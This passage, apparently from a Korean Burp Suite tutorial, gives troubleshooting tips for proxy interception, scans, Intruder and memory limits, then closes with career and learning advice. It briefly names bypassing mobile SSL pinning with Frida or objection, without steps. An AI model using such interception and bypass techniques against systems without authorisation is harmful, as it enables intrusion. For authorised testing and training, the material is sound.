## 문제 해결 가이드
### 일반적인 문제
**1. HTTPS 트래픽이 보이지 않음**
```
원인 및 해결:
□ CA 인증서 미설치
→ http://burpsuite 방문하여 설치
□ 브라우저 프록시 미설정
→ 수동 프록시 127.0.0.1:8080
□ 앱이 SSL Pinning 사용
→ 모바일: Frida/objection으로 우회
→ 데스크톱: 인증서 패칭
□ 프록시 리스너 미실행
→ Proxy → Options → Proxy Listeners → ☑ Running
```
**2. 스캔이 느리거나 멈춤**
```
해결:
1. 스캔 범위 축소:
Target → Site map → 특정 폴더만 스캔
2. 스캔 설정 조정:
Scanner → Options →
☐ Frequently Occurring Insertion Points
☑ Reduce scan duration
3. 리소스 제한 확인:
- Java Heap 크기 증가
- Dashboard → Tasks → 불필요한 태스크 중지
4. 사이트 응답 확인:
- 서버 다운?
- Rate limiting?
- Timeout 설정 조정
```
**3. Intruder 공격이 작동하지 않음**
```
체크리스트:
□ 페이로드 위치 설정 확인
→ §로 올바르게 마킹
□ 공격 유형 확인
→ Sniper, Battering ram 등
□ 페이로드 세트 로드 확인
→ Payloads 탭에서 확인
□ Start attack 버튼 클릭
→ 때때로 UI 버그로 무반응
□ Community Edition 제한
→ Intruder 속도 제한 (Pro는 없음)
```
**4. 메모리 부족 오류**
해결:
- Java Heap 크기 증가: Windows: burpsuite_pro.bat 수정: java -jar -Xmx4g burpsuite_pro.jar Linux/Mac: java -jar -Xmx4g burpsuite_pro.jar
- 프로젝트 정리:
- 오래된 Site map 항목 삭제
- Proxy history 정리
- 로그 레벨 감소
- 프로젝트 파일 최적화: Project options → Misc → ☐ Store requests and responses (필요한 것만 저장)
Burp Suite는 단순한 도구가 아닙니다. 웹 애플리케이션 보안 테스터의 가장 강력한 파트너이자, 학습 플랫폼이며, 전문성을 증명하는 수단입니다.
Burp Suite를 마스터하면:
- 수동 테스팅으로 자동화가 놓치는 논리적 결함 발견
- 자동 스캐닝으로 시간 절약하며 포괄적 커버리지 확보
- 확장을 통해 특수 요구사항 충족
- 업계 표준 도구 숙련으로 경력 발전
하지만 기억하세요:
도구는 도구일 뿐입니다. 진정한 보안 전문가는:
- 취약점의 근본 원인을 이해합니다
- 비즈니스 영향을 평가할 수 있습니다
- 개발자와 효과적으로 소통합니다
- 윤리적 책임을 다합니다
시작하는 방법:
1. 오늘: Burp Suite Community Edition 다운로드
2. 이번 주: PortSwigger Academy 첫 모듈 완료
3. 이번 달: DVWA에서 OWASP Top 10 실습
4. 3개월 후: 첫 Bug Bounty 제출
5. 1년 후: BSCP 인증 도전
웹 애플리케이션 보안은 끝없이 진화하는 분야입니다. 새로운 기술이 등장하고, 새로운 취약점이 발견되며, 공격 기법도 발전합니다. Burp Suite는 이 여정에서 여러분과 함께할 가장 신뢰할 수 있는 동반자입니다.
"도구는 기술자를 대신할 수 없지만, 기술자의 손에서 도구는 마법을 만듭니다."
지금 바로 Burp Suite를 실행하고, 첫 프록시 요청을 가로채고, 웹 보안 전문가로의 여정을 시작하세요. 안전한 웹을 만드는 것은 우리 모두의 책임입니다.
댓글